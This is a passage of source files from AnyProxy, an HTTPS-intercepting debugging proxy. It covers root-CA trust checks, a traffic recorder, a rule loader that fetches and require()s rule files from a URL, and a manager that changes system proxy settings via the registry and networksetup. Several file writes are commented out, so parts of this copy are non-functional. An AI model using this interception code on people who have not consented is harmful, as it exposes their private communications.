''; 150 | } 151 | 152 | function getRootDirPath() { 153 | return rootDirPath; 154 | } 155 | 156 | function _checkRootCA() { 157 | if (rootCAExists) { 158 | return true; 159 | } 160 | 161 | if (!isRootCAFileExists()) { 162 | console.log(color.red('can not find rootCA.crt or rootCA.key')); 163 | console.log(color.red('you may generate one')); 164 | return false; 165 | } else { 166 | rootCAExists = true; 167 | return true; 168 | } 169 | } 170 | 171 | function ifRootCATrusted(callback) { 172 | if (!isRootCAFileExists()) { 173 | callback && callback(new Error('ROOTCA_NOT_EXIST')); 174 | } else if (/^win/.test(process.platform)) { 175 | winCertUtil.ifWinRootCATrusted() 176 | .then((ifTrusted) => { 177 | callback && callback(null, ifTrusted) 178 | }) 179 | .catch((e) => { 180 | callback && callback(null, false); 181 | }) 182 | } else { 183 | const HTTPS_RESPONSE = 'HTTPS Server is ON'; 184 | // localtest.me --> 127.0.0.1 185 | getCertificate(DOMAIN_TO_VERIFY_HTTPS, (e, key, cert) => { 186 | getPort() 187 | .then(port => { 188 | if (e) { 189 | callback && callback(e); 190 | return; 191 | } 192 | const server = https 193 | .createServer( 194 | { 195 | ca: fs.readFileSync(rootCAcrtFilePath), 196 | key, 197 | cert 198 | }, 199 | (req, res) => { 200 | res.end(HTTPS_RESPONSE); 201 | } 202 | ) 203 | .listen(port); 204 | 205 | // do not use node.http to test the cert. Ref: https://github.com/nodejs/node/issues/4175 206 | const testCmd = `curl https://${DOMAIN_TO_VERIFY_HTTPS}:${port}`; 207 | exec(testCmd, { timeout: 1000 }, (error, stdout, stderr) => { 208 | server.close(); 209 | if (error) { 210 | callback && callback(null, false); 211 | } 212 | if (stdout && stdout.indexOf(HTTPS_RESPONSE) >= 0) { 213 | callback && callback(null, true); 214 | } else { 215 | callback && callback(null, false); 216 | } 217 | }); 218 | }) 219 | .catch(callback); 220 | }); 221 | } 222 | } 223 | 224 | return { 225 | getRootCAFilePath, 226 | generateRootCA, 227 | getCertificate, 228 | clearCerts, 229 | isRootCAFileExists, 230 | ifRootCATrusted, 231 | getRootDirPath, 232 | }; 233 | } 234 | 235 | module.exports = CertManager; 236 | -------------------------------------------------------------------------------- /anyproxy/lib/node-easy-cert/util.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | const fs = require('fs'); 4 | const path = require('path'); 5 | 6 | function deleteFolderContentsRecursive(dirPath) { 7 | if (!dirPath.trim() || dirPath === '/') { 8 | throw new Error('can_not_delete_this_dir'); 9 | } 10 | 11 | if (fs.existsSync(dirPath)) { 12 | fs.readdirSync(dirPath).forEach((file, index) => { 13 | const curPath = path.join(dirPath, file); 14 | if (fs.lstatSync(curPath).isDirectory()) { 15 | deleteFolderContentsRecursive(curPath); 16 | } else { // delete all files 17 | fs.unlinkSync(curPath); 18 | } 19 | }); 20 | // keep the folder 21 | // fs.rmdirSync(dirPath); 22 | } 23 | } 24 | 25 | module.exports.getUserHome = function () { 26 | return process.env.HOME || process.env.USERPROFILE; 27 | }; 28 | 29 | module.exports.getDefaultRootDirName = function () { 30 | return '.node_easy_certs'; 31 | }; 32 | 33 | /* 34 | * identify whether the 35 | */ 36 | module.exports.isIpDomain = function (domain = '') { 37 | const ipReg = /^\d+?\.\d+?\.\d+?\.\d+?$/; 38 | 39 | return ipReg.test(domain); 40 | }; 41 | 42 | module.exports.deleteFolderContentsRecursive = deleteFolderContentsRecursive; 43 | -------------------------------------------------------------------------------- /anyproxy/lib/node-easy-cert/winCertUtil.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | */ 4 | const Shell = require('node-powershell'); 5 | 6 | const anyProxyCertReg = /CN=AnyProxy,\sOU=AnyProxy\sSSL\sProxy/; 7 | 8 | /** 9 | * detect whether root CA is trusted 10 | */ 11 | function ifWinRootCATrusted() { 12 | const ps = new Shell({ 13 | executionPolicy: 'Bypass', 14 | debugMsg: false, 15 | noProfile: true 16 | }); 17 | 18 | return new Promise((resolve, reject) => { 19 | ps.addCommand('Get-ChildItem', [ 20 | { 21 | name: 'path', 22 | value: 'cert:\\CurrentUser\\Root' 23 | } 24 | ]); 25 | ps.invoke() 26 | .then((output) => { 27 | const isCATrusted = anyProxyCertReg.test(output); 28 | ps.dispose(); 29 | resolve(isCATrusted); 30 | }) 31 | .catch((err) => { 32 | console.log(err); 33 | ps.dispose(); 34 | resolve(false); 35 | }); 36 | }) 37 | } 38 | 39 | module.exports.ifWinRootCATrusted = ifWinRootCATrusted; 40 | -------------------------------------------------------------------------------- /anyproxy/lib/recorder.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | //start recording and share a list when required 4 | const Datastore = require('nedb'), 5 | path = require('path'), 6 | fs = require('fs'), 7 | logUtil = require('./log'), 8 | events = require('events'), 9 | iconv = require('iconv-lite'), 10 | fastJson = require('fast-json-stringify'), 11 | proxyUtil = require('./util'); 12 | 13 | const wsMessageStingify = fastJson({ 14 | title: 'ws message stringify', 15 | type: 'object', 16 | properties: { 17 | time: { 18 | type: 'integer' 19 | }, 20 | message: { 21 | type: 'string' 22 | }, 23 | isToServer: { 24 | type: 'boolean' 25 | } 26 | } 27 | }); 28 | 29 | const BODY_FILE_PRFIX = 'res_body_'; 30 | const WS_MESSAGE_FILE_PRFIX = 'ws_message_'; 31 | const CACHE_DIR_PREFIX = 'cache_r'; 32 | function getCacheDir() { 33 | const rand = Math.floor(Math.random() * 1000000), 34 | cachePath = path.join(proxyUtil.getAnyProxyPath('cache'), './' + CACHE_DIR_PREFIX + rand); 35 | 36 | //fs.mkdirSync(cachePath); 37 | return cachePath; 38 | } 39 | 40 | function normalizeInfo(id, info) { 41 | const singleRecord = {}; 42 | 43 | //general 44 | singleRecord._id = id; 45 | singleRecord.id = id; 46 | singleRecord.url = info.url; 47 | singleRecord.host = info.host; 48 | singleRecord.path = info.path; 49 | singleRecord.method = info.method; 50 | 51 | //req 52 | singleRecord.reqHeader = info.req.headers; 53 | singleRecord.startTime = info.startTime; 54 | singleRecord.reqBody = info.reqBody || ''; 55 | singleRecord.protocol = info.protocol || ''; 56 | 57 | //res 58 | if (info.endTime) { 59 | singleRecord.statusCode = info.statusCode; 60 | singleRecord.endTime = info.endTime; 61 | singleRecord.resHeader = info.resHeader; 62 | singleRecord.length = info.length; 63 | const contentType = info.resHeader['content-type'] || info.resHeader['Content-Type']; 64 | if (contentType) { 65 | singleRecord.mime = contentType.split(';')[0]; 66 | } else { 67 | singleRecord.mime = ''; 68 | } 69 | 70 | singleRecord.duration = info.endTime - info.startTime; 71 | } else { 72 | singleRecord.statusCode = ''; 73 | singleRecord.endTime = ''; 74 | singleRecord.resHeader = ''; 75 | singleRecord.length = ''; 76 | singleRecord.mime = ''; 77 | singleRecord.duration = ''; 78 | } 79 | 80 | return singleRecord; 81 | } 82 | 83 | class Recorder extends events.EventEmitter { 84 | constructor(config) { 85 | super(config); 86 | this.globalId = 1; 87 | this.cachePath = getCacheDir(); 88 | this.db = new Datastore(); 89 | 90 | this.recordBodyMap = []; // id - body 91 | } 92 | 93 | setDbAutoCompact() { 94 | this.db.persistence.setAutocompactionInterval(5001); 95 | } 96 | 97 | stopDbAutoCompact() { 98 | try { 99 | this.db.persistence.stopAutocompaction(); 100 | } catch (e) { 101 | logUtil.printLog(e, logUtil.T_ERR); 102 | } 103 | } 104 | 105 | emitUpdate(id, info) { 106 | const self = this; 107 | if (info) { 108 | self.emit('update', info); 109 | } else { 110 | self.getSingleRecord(id, (err, doc) => { 111 | if (!err && !!doc && !!doc[0]) { 112 | self.emit('update', doc[0]); 113 | } 114 | }); 115 | } 116 | } 117 | 118 | emitUpdateLatestWsMessage(id, message) { 119 | this.emit('updateLatestWsMsg', message); 120 | } 121 | 122 | updateRecord(id, info) { 123 | /* 124 | if (id < 0) return; 125 | const self = this; 126 | const db = self.db; 127 | 128 | const finalInfo = normalizeInfo(id, info); 129 | 130 | db.update({ _id: id }, finalInfo); 131 | self.updateRecordBody(id, info); 132 | 133 | self.emitUpdate(id, finalInfo); 134 | */ 135 | } 136 | 137 | /** 138 | * This method shall be called at each time there are new message 139 | * 140 | */ 141 | updateRecordWsMessage(id, message) { 142 | if (id < 0) return; 143 | try { 144 | this.getCacheFile(WS_MESSAGE_FILE_PRFIX + id, (err, recordWsMessageFile) => { 145 | if (err) return; 146 | return 147 | //fs.appendFile(recordWsMessageFile, wsMessageStingify(message) + ',', () => {}); 148 | }); 149 | } catch (e) { 150 | console.error(e); 151 | logUtil.error(e.message + e.stack); 152 | } 153 | 154 | this.emitUpdateLatestWsMessage(id, { 155 | id: id, 156 | message: message 157 | }); 158 | } 159 | 160 | updateExtInfo(id, extInfo) { 161 | const self = this; 162 | const db = self.db; 163 | 164 | /* 165 | db.update({ _id: id }, { $set: { ext: extInfo } }, {}, (err, nums) => { 166 | if (!err) { 167 | self.emitUpdate(id); 168 | } 169 | }); 170 | */ 171 | } 172 | 173 | appendRecord(info) { 174 | if (info.req.headers.anyproxy_web_req) { //TODO request from web interface 175 | return -1; 176 | } 177 | const self = this; 178 | const db = self.db; 179 | 180 | const thisId = self.globalId++; 181 | /* 182 | const finalInfo = normalizeInfo(thisId, info); 183 | db.insert(finalInfo); 184 | self.updateRecordBody(thisId, info); 185 | 186 | self.emitUpdate(thisId, finalInfo); 187 | */ 188 | return thisId; 189 | } 190 | 191 | updateRecordBody(id, info) { 192 | const self = this; 193 | 194 | if (id === -1) return; 195 | 196 | if (!id || typeof info.resBody === 'undefined') return; 197 | //add to body map 198 | //ignore image data 199 | return 200 | self.getCacheFile(BODY_FILE_PRFIX + id, (err, bodyFile) => { 201 | if (err) return; 202 | //fs.writeFile(bodyFile, info.resBody, () => {}); 203 | }); 204 | } 205 | 206 | /** 207 | * get body and websocket file 208 | * 209 | */ 210 | getBody(id, cb) { 211 | const self = this; 212 | 213 | if (id < 0) { 214 | cb && cb(''); 215 | return; 216 | } 217 | self.getCacheFile(BODY_FILE_PRFIX + id, (error, bodyFile) => { 218 | if (error) { 219 | cb && cb(error); 220 | return; 221 | } 222 | fs.access(bodyFile, fs.F_OK || fs.R_OK, (err) => { 223 | if (err) { 224 | cb && cb(err); 225 | } else { 226 | fs.readFile(bodyFile, cb); 227 | } 228 | }); 229 | }); 230 | } 231 | 232 | getDecodedBody(id, cb) { 233 | const self = this; 234 | const result = { 235 | method: '', 236 | type: 'unknown', 237 | mime: '', 238 | content: '' 239 | }; 240 | self.getSingleRecord(id, (err, doc) => { 241 | //check whether this record exists 242 | if (!doc || !doc[0]) { 243 | cb(new Error('failed to find record for this id')); 244 | return; 245 | } 246 | 247 | // also put the `method` back, so the client can decide whether to load ws messages 248 | result.method = doc[0].method; 249 | 250 | self.getBody(id, (error, bodyContent) => { 251 | if (error) { 252 | cb(error); 253 | } else if (!bodyContent) { 254 | cb(null, result); 255 | } else { 256 | const record = doc[0], 257 | resHeader = record.resHeader || {}; 258 | try { 259 | const headerStr = JSON.stringify(resHeader), 260 | charsetMatch = headerStr.match(/charset='?([a-zA-Z0-9-]+)'?/), 261 | contentType = resHeader && (resHeader['content-type'] || resHeader['Content-Type']); 262 | 263 | if (charsetMatch && charsetMatch.length) { 264 | const currentCharset = charsetMatch[1].toLowerCase(); 265 | if (currentCharset !== 'utf-8' && iconv.encodingExists(currentCharset)) { 266 | bodyContent = iconv.decode(bodyContent, currentCharset); 267 | } 268 | 269 | result.content = bodyContent.toString(); 270 | result.type = contentType && /application\/json/i.test(contentType) ? 'json' : 'text'; 271 | } else if (contentType && /image/i.test(contentType)) { 272 | result.type = 'image'; 273 | result.content = bodyContent; 274 | } else { 275 | result.type = contentType; 276 | result.content = bodyContent.toString(); 277 | } 278 | result.mime = contentType; 279 | result.fileName = path.basename(record.path); 280 | result.statusCode = record.statusCode; 281 | } catch (e) { 282 | console.error(e); 283 | } 284 | cb(null, result); 285 | } 286 | }); 287 | }); 288 | } 289 | 290 | /** 291 | * get decoded WebSoket messages 292 | * 293 | */ 294 | getDecodedWsMessage(id, cb) { 295 | if (id < 0) { 296 | cb && cb([]); 297 | return; 298 | } 299 | 300 | this.getCacheFile(WS_MESSAGE_FILE_PRFIX + id, (outError, wsMessageFile) => { 301 | if (outError) { 302 | cb && cb(outError); 303 | return; 304 | } 305 | fs.access(wsMessageFile, fs.F_OK || fs.R_OK, (err) => { 306 | if (err) { 307 | cb && cb(err); 308 | } else { 309 | fs.readFile(wsMessageFile, 'utf8', (error, content) => { 310 | if (error) { 311 | cb && cb(err); 312 | } 313 | 314 | try { 315 | // remove the last dash "," if it has, since it's redundant 316 | // and also add brackets to make it a complete JSON structure 317 | content = `[${content.replace(/,$/, '')}]`; 318 | const messages = JSON.parse(content); 319 | cb(null, messages); 320 | } catch (e) { 321 | console.error(e); 322 | logUtil.error(e.message + e.stack); 323 | cb(e); 324 | } 325 | }); 326 | } 327 | }); 328 | }); 329 | } 330 | 331 | getSingleRecord(id, cb) { 332 | const self = this; 333 | const db = self.db; 334 | db.find({ _id: parseInt(id, 10) }, cb); 335 | } 336 | 337 | getSummaryList(cb) { 338 | const self = this; 339 | const db = self.db; 340 | db.find({}, cb); 341 | } 342 | 343 | getRecords(idStart, limit, cb) { 344 | const self = this; 345 | const db = self.db; 346 | limit = limit || 10; 347 | idStart = typeof idStart === 'number' ? idStart : (self.globalId - limit); 348 | db.find({ _id: { $gte: parseInt(idStart, 10) } }) 349 | .sort({ _id: 1 }) 350 | .limit(limit) 351 | .exec(cb); 352 | } 353 | 354 | clear() { 355 | logUtil.printLog('clearing cache file...'); 356 | const self = this; 357 | proxyUtil.deleteFolderContentsRecursive(self.cachePath, true); 358 | } 359 | 360 | getCacheFile(fileName, cb) { 361 | const self = this; 362 | const cachePath = self.cachePath; 363 | const filepath = path.join(cachePath, fileName); 364 | 365 | if (filepath.indexOf(cachePath) !== 0) { 366 | cb && cb(new Error('invalid cache file path')); 367 | } else { 368 | cb && cb(null, filepath); 369 | return filepath; 370 | } 371 | } 372 | } 373 | 374 | module.exports = Recorder; 375 | -------------------------------------------------------------------------------- /anyproxy/lib/requestErrorHandler.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | /* 4 | * handle all request error here, 5 | * 6 | */ 7 | const pug = require('pug'); 8 | const path = require('path'); 9 | 10 | const error502PugFn = pug.compileFile(path.join(__dirname, '../resource/502.pug')); 11 | const certPugFn = pug.compileFile(path.join(__dirname, '../resource/cert_error.pug')); 12 | 13 | /** 14 | * get error content for certification issues 15 | */ 16 | function getCertErrorContent(error, fullUrl) { 17 | let content; 18 | const title = 'The connection is not private. '; 19 | let explain = 'There are error with the certfication of the site.'; 20 | switch (error.code) { 21 | case 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY': { 22 | explain = 'The certfication of the site you are visiting is not issued by a known agency, ' 23 | + 'It usually happenes when the cert is a self-signed one.
' 24 | + 'If you know and trust the site, you can run AnyProxy with option -ignore-unauthorized-ssl to continue.' 25 | 26 | break; 27 | } 28 | default: { 29 | explain = '' 30 | break; 31 | } 32 | } 33 | 34 | try { 35 | content = certPugFn({ 36 | title: title, 37 | explain: explain, 38 | code: error.code 39 | }); 40 | } catch (parseErro) { 41 | content = error.stack; 42 | } 43 | 44 | return content; 45 | } 46 | 47 | /* 48 | * get the default error content 49 | */ 50 | function getDefaultErrorCotent(error, fullUrl) { 51 | let content; 52 | 53 | try { 54 | content = error502PugFn({ 55 | error, 56 | url: fullUrl, 57 | errorStack: error.stack.split(/\n/) 58 | }); 59 | } catch (parseErro) { 60 | content = error.stack; 61 | } 62 | 63 | return content; 64 | } 65 | 66 | /* 67 | * get mapped error content for each error 68 | */ 69 | module.exports.getErrorContent = function (error, fullUrl) { 70 | let content = ''; 71 | error = error || {}; 72 | switch (error.code) { 73 | case 'UNABLE_TO_GET_ISSUER_CERT_LOCALLY': { 74 | content = getCertErrorContent(error, fullUrl); 75 | break; 76 | } 77 | default: { 78 | content = getDefaultErrorCotent(error, fullUrl); 79 | break; 80 | } 81 | } 82 | 83 | return content; 84 | } 85 | -------------------------------------------------------------------------------- /anyproxy/lib/ruleLoader.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const proxyUtil = require('./util'); 4 | const path = require('path'); 5 | const fs = require('fs'); 6 | const request = require('request'); 7 | 8 | const cachePath = proxyUtil.getAnyProxyPath('cache'); 9 | 10 | /** 11 | * download a file and cache 12 | * 13 | * @param {any} url 14 | * @returns {string} cachePath 15 | */ 16 | function cacheRemoteFile(url) { 17 | return new Promise((resolve, reject) => { 18 | request(url, (error, response, body) => { 19 | if (error) { 20 | return reject(error); 21 | } else if (response.statusCode !== 200) { 22 | return reject(`failed to load with a status code ${response.statusCode}`); 23 | } else { 24 | const fileCreatedTime = proxyUtil.formatDate(new Date(), 'YYYY_MM_DD_hh_mm_ss'); 25 | const random = Math.ceil(Math.random() * 500); 26 | const fileName = `remote_rule_${fileCreatedTime}_r${random}.js`; 27 | const filePath = path.join(cachePath, fileName); 28 | //fs.writeFileSync(filePath, body); 29 | resolve(filePath); 30 | } 31 | }); 32 | }); 33 | } 34 | 35 | 36 | /** 37 | * load a local npm module 38 | * 39 | * @param {any} filePath 40 | * @returns module 41 | */ 42 | function loadLocalPath(filePath) { 43 | return new Promise((resolve, reject) => { 44 | const ruleFilePath = path.resolve(process.cwd(), filePath); 45 | if (fs.existsSync(ruleFilePath)) { 46 | resolve(require(ruleFilePath)); 47 | } else { 48 | resolve(require(filePath)); 49 | } 50 | }); 51 | } 52 | 53 | 54 | /** 55 | * load a module from url or local path 56 | * 57 | * @param {any} urlOrPath 58 | * @returns module 59 | */ 60 | function requireModule(urlOrPath) { 61 | return new Promise((resolve, reject) => { 62 | if (/^http/i.test(urlOrPath)) { 63 | resolve(cacheRemoteFile(urlOrPath)); 64 | } else { 65 | resolve(urlOrPath); 66 | } 67 | }).then(localPath => loadLocalPath(localPath)); 68 | } 69 | 70 | module.exports = { 71 | cacheRemoteFile, 72 | loadLocalPath, 73 | requireModule, 74 | }; 75 | -------------------------------------------------------------------------------- /anyproxy/lib/rule_default.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | module.exports = { 4 | 5 | summary: 'the default rule for AnyProxy', 6 | 7 | /** 8 | * 9 | * 10 | * @param {object} requestDetail 11 | * @param {string} requestDetail.protocol 12 | * @param {object} requestDetail.requestOptions 13 | * @param {object} requestDetail.requestData 14 | * @param {object} requestDetail.response 15 | * @param {number} requestDetail.response.statusCode 16 | * @param {object} requestDetail.response.header 17 | * @param {buffer} requestDetail.response.body 18 | * @returns 19 | */ 20 | *beforeSendRequest(requestDetail) { 21 | return null; 22 | }, 23 | 24 | 25 | /** 26 | * 27 | * 28 | * @param {object} requestDetail 29 | * @param {object} responseDetail 30 | */ 31 | *beforeSendResponse(requestDetail, responseDetail) { 32 | return null; 33 | }, 34 | 35 | 36 | /** 37 | * default to return null 38 | * the user MUST return a boolean when they do implement the interface in rule 39 | * 40 | * @param {any} requestDetail 41 | * @returns 42 | */ 43 | *beforeDealHttpsRequest(requestDetail) { 44 | return null; 45 | }, 46 | 47 | /** 48 | * 49 | * 50 | * @param {any} requestDetail 51 | * @param {any} error 52 | * @returns 53 | */ 54 | *onError(requestDetail, error) { 55 | return null; 56 | }, 57 | 58 | 59 | /** 60 | * 61 | * 62 | * @param {any} requestDetail 63 | * @param {any} error 64 | * @returns 65 | */ 66 | *onConnectError(requestDetail, error) { 67 | return null; 68 | }, 69 | 70 | 71 | /** 72 | * 73 | * 74 | * @param {any} requestDetail 75 | * @param {any} error 76 | * @returns 77 | */ 78 | *onClientSocketError(requestDetail, error) { 79 | return null; 80 | }, 81 | }; 82 | -------------------------------------------------------------------------------- /anyproxy/lib/systemProxyMgr.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | const child_process = require('child_process'); 4 | 5 | const networkTypes = ['Ethernet', 'Thunderbolt Ethernet', 'Wi-Fi']; 6 | 7 | function execSync(cmd) { 8 | let stdout, 9 | status = 0; 10 | try { 11 | stdout = child_process.execSync(cmd); 12 | } catch (err) { 13 | stdout = err.stdout; 14 | status = err.status; 15 | } 16 | 17 | return { 18 | stdout: stdout.toString(), 19 | status 20 | }; 21 | } 22 | 23 | /** 24 | * proxy for CentOs 25 | * ------------------------------------------------------------------------ 26 | * 27 | * file: ~/.bash_profile 28 | * 29 | * http_proxy=http://proxy_server_address:port 30 | * export no_proxy=localhost,127.0.0.1,192.168.0.34 31 | * export http_proxy 32 | * ------------------------------------------------------------------------ 33 | */ 34 | 35 | /** 36 | * proxy for Ubuntu 37 | * ------------------------------------------------------------------------ 38 | * 39 | * file: /etc/environment 40 | * more info: http://askubuntu.com/questions/150210/how-do-i-set-systemwide-proxy-servers-in-xubuntu-lubuntu-or-ubuntu-studio 41 | * 42 | * http_proxy=http://proxy_server_address:port 43 | * export no_proxy=localhost,127.0.0.1,192.168.0.34 44 | * export http_proxy 45 | * ------------------------------------------------------------------------ 46 | */ 47 | 48 | /** 49 | * ------------------------------------------------------------------------ 50 | * mac proxy manager 51 | * ------------------------------------------------------------------------ 52 | */ 53 | 54 | const macProxyManager = {}; 55 | 56 | macProxyManager.getNetworkType = () => { 57 | for (let i = 0; i < networkTypes.length; i++) { 58 | const type = networkTypes[i], 59 | result = execSync('networksetup -getwebproxy ' + type); 60 | 61 | if (result.status === 0) { 62 | macProxyManager.networkType = type; 63 | return type; 64 | } 65 | } 66 | 67 | throw new Error('Unknown network type'); 68 | }; 69 | 70 | 71 | macProxyManager.enableGlobalProxy = (ip, port, proxyType) => { 72 | if (!ip || !port) { 73 | console.log('failed to set global proxy server.\n ip and port are required.'); 74 | return; 75 | } 76 | 77 | proxyType = proxyType || 'http'; 78 | 79 | const networkType = macProxyManager.networkType || macProxyManager.getNetworkType(); 80 | 81 | return /^http$/i.test(proxyType) ? 82 | 83 | // set http proxy 84 | execSync( 85 | 'networksetup -setwebproxy ${networkType} ${ip} ${port} && networksetup -setproxybypassdomains ${networkType} 127.0.0.1 localhost' 86 | .replace(/\${networkType}/g, networkType) 87 | .replace('${ip}', ip) 88 | .replace('${port}', port)) : 89 | 90 | // set https proxy 91 | execSync('networksetup -setsecurewebproxy ${networkType} ${ip} ${port} && networksetup -setproxybypassdomains ${networkType} 127.0.0.1 localhost' 92 | .replace(/\${networkType}/g, networkType) 93 | .replace('${ip}', ip) 94 | .replace('${port}', port)); 95 | }; 96 | 97 | macProxyManager.disableGlobalProxy = (proxyType) => { 98 | proxyType = proxyType || 'http'; 99 | const networkType = macProxyManager.networkType || macProxyManager.getNetworkType(); 100 | return /^http$/i.test(proxyType) ? 101 | 102 | // set http proxy 103 | execSync( 104 | 'networksetup -setwebproxystate ${networkType} off' 105 | .replace('${networkType}', networkType)) : 106 | 107 | // set https proxy 108 | execSync( 109 | 'networksetup -setsecurewebproxystate ${networkType} off' 110 | .replace('${networkType}', networkType)); 111 | }; 112 | 113 | macProxyManager.getProxyState = () => { 114 | const networkType = macProxyManager.networkType || macProxyManager.getNetworkType(); 115 | const result = execSync('networksetup -getwebproxy ${networkType}'.replace('${networkType}', networkType)); 116 | 117 | return result; 118 | }; 119 | 120 | /** 121 | * ------------------------------------------------------------------------ 122 | * windows proxy manager 123 | * 124 | * netsh does not alter the settings for IE 125 | * ------------------------------------------------------------------------ 126 | */ 127 | 128 | const winProxyManager = {}; 129 | 130 | winProxyManager.enableGlobalProxy = (ip, port) => { 131 | if (!ip && !port) { 132 | console.log('failed to set global proxy server.\n ip and port are required.'); 133 | return; 134 | } 135 | 136 | return execSync( 137 | // set proxy 138 | 'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer /t REG_SZ /d ${ip}:${port} /f & ' 139 | .replace('${ip}', ip) 140 | .replace('${port}', port) + 141 | 142 | // enable proxy 143 | 'reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f'); 144 | }; 145 | 146 | winProxyManager.disableGlobalProxy = () => execSync('reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f'); 147 | 148 | winProxyManager.getProxyState = () => '' 149 | 150 | winProxyManager.getNetworkType = () => '' 151 | 152 | module.exports = /^win/.test(process.platform) ? winProxyManager : macProxyManager; 153 | -------------------------------------------------------------------------------- /anyproxy/lib/util.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | const fs = require('fs'), 4 | path = require('path'), 5 | mime = require('mime-types'), 6 | color = require('colorful'), 7 | child_process = require('child_process'), 8 | Buffer = require('buffer').Buffer, 9 | logUtil = require('./log'); 10 | const networkInterfaces = require('os').networkInterfaces(); 11 | 12 | // {"Content-Encoding":"gzip"} --> {"content-encoding":"gzip"} 13 | module.exports.lower_keys = (obj) => { 14 | for (const key in obj) { 15 | const val = obj[key]; 16 | delete obj[key]; 17 | 18 | obj[key.toLowerCase()] = val; 19 | } 20 | 21 | return obj; 22 | }; 23 | 24 | module.exports.merge = function (baseObj, extendObj) { 25 | for (const key in extendObj) { 26 | baseObj[key] = extendObj[key]; 27 | } 28 | 29 | return baseObj; 30 | }; 31 | 32 | function getUserHome() { 33 | return process.env.HOME || process.env.USERPROFILE; 34 | } 35 | module.exports.getUserHome = getUserHome; 36 | 37 | function getAnyProxyHome() { 38 | const home = path.join(getUserHome(), '/.anyproxy/'); 39 | if (!fs.existsSync(home)) { 40 | fs.mkdirSync(home); 41 | } 42 | return home; 43 | } 44 | module.exports.getAnyProxyHome = getAnyProxyHome; 45 | 46 | module.exports.getAnyProxyPath = function (pathName) { 47 | const home = getAnyProxyHome(); 48 | const targetPath = path.join(home, pathName); 49 | if (!fs.existsSync(targetPath)) { 50 | //fs.mkdirSync(targetPath); 51 | } 52 | return targetPath; 53 | } 54 | 55 | module.exports.simpleRender = function (str, object, regexp) { 56 | return String(str).replace(regexp || (/\{\{([^{}]+)\}\}/g), (match, name) => { 57 | if (match.charAt(0) === '\\') { 58 | return match.slice(1); 59 | } 60 | return (object[name] != null) ? object[name] : ''; 61 | }); 62 | }; 63 | 64 | module.exports.filewalker = function (root, cb) { 65 | root = root || process.cwd(); 66 | 67 | const ret = { 68 | directory: [], 69 | file: [] 70 | }; 71 | 72 | fs.readdir(root, (err, list) => { 73 | if (list && list.length) { 74 | list.map((item) => { 75 | const fullPath = path.join(root, item), 76 | stat = fs.lstatSync(fullPath); 77 | 78 | if (stat.isFile()) { 79 | ret.file.push({ 80 | name: item, 81 | fullPath 82 | }); 83 | } else if (stat.isDirectory()) { 84 | ret.directory.push({ 85 | name: item, 86 | fullPath 87 | }); 88 | } 89 | }); 90 | } 91 | 92 | cb && cb.apply(null, [null, ret]); 93 | }); 94 | }; 95 | 96 | /* 97 | * 获取文件所对应的content-type以及content-length等信息 98 | * 比如在useLocalResponse的时候会使用到 99 | */ 100 | module.exports.contentType = function (filepath) { 101 | return mime.contentType(path.extname(filepath)); 102 | }; 103 | 104 | /* 105 | * 读取file的大小,以byte为单位 106 | */ 107 | module.exports.contentLength = function (filepath) { 108 | try { 109 | const stat = fs.statSync(filepath); 110 | return stat.size; 111 | } catch (e) { 112 | logUtil.printLog(color.red('\nfailed to ready local file : ' + filepath)); 113 | logUtil.printLog(color.red(e)); 114 | return 0; 115 | } 116 | }; 117 | 118 | /* 119 | * remove the cache before requiring, the path SHOULD BE RELATIVE TO UTIL.JS 120 | */ 121 | module.exports.freshRequire = function (modulePath) { 122 | delete require.cache[require.resolve(modulePath)]; 123 | return require(modulePath); 124 | }; 125 | 126 | /* 127 | * format the date string 128 | * @param date Date or timestamp 129 | * @param formatter YYYYMMDDHHmmss 130 | */ 131 | module.exports.formatDate = function (date, formatter) { 132 | if (typeof date !== 'object') { 133 | date = new Date(date); 134 | } 135 | const transform = function (value) { 136 | return value < 10 ? '0' + value : value; 137 | }; 138 | return formatter.replace(/^YYYY|MM|DD|hh|mm|ss/g, (match) => { 139 | switch (match) { 140 | case 'YYYY': 141 | return transform(date.getFullYear()); 142 | case 'MM': 143 | return transform(date.getMonth() + 1); 144 | case 'mm': 145 | return transform(date.getMinutes()); 146 | case 'DD': 147 | return transform(date.getDate()); 148 | case 'hh': 149 | return transform(date.getHours()); 150 | case 'ss': 151 | return transform(date.getSeconds()); 152 | default: 153 | return '' 154 | } 155 | }); 156 | }; 157 | 158 | 159 | /** 160 | * get headers(Object) from rawHeaders(Array) 161 | * @param rawHeaders [key, value, key2, value2, ...] 162 | 163 | */ 164 | 165 | module.exports.getHeaderFromRawHeaders = function (rawHeaders) { 166 | const headerObj = {}; 167 | const _handleSetCookieHeader = function (key, value) { 168 | if (headerObj[key].constructor === Array) { 169 | headerObj[key].push(value); 170 | } else { 171 | headerObj[key] = [headerObj[key], value]; 172 | } 173 | }; 174 | 175 | if (!!rawHeaders) { 176 | for (let i = 0; i < rawHeaders.length; i += 2) { 177 | const key = rawHeaders[i]; 178 | let value = rawHeaders[i + 1]; 179 | 180 | if (typeof value === 'string') { 181 | value = value.replace(/\0+$/g, ''); // 去除 \u0000的null字符串 182 | } 183 | 184 | if (!headerObj[key]) { 185 | headerObj[key] = value; 186 | } else { 187 | // headers with same fields could be combined with comma. Ref: https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html#sec4.2 188 | // set-cookie should NOT be combined. Ref: https://tools.ietf.org/html/rfc6265 189 | if (key.toLowerCase() === 'set-cookie') { 190 | _handleSetCookieHeader(key, value); 191 | } else { 192 | headerObj[key] = headerObj[key] + ',' + value; 193 | } 194 | } 195 | } 196 | } 197 | return headerObj; 198 | }; 199 | 200 | module.exports.getAllIpAddress = function getAllIpAddress() { 201 | const allIp = []; 202 | 203 | Object.keys(networkInterfaces).map((nic) 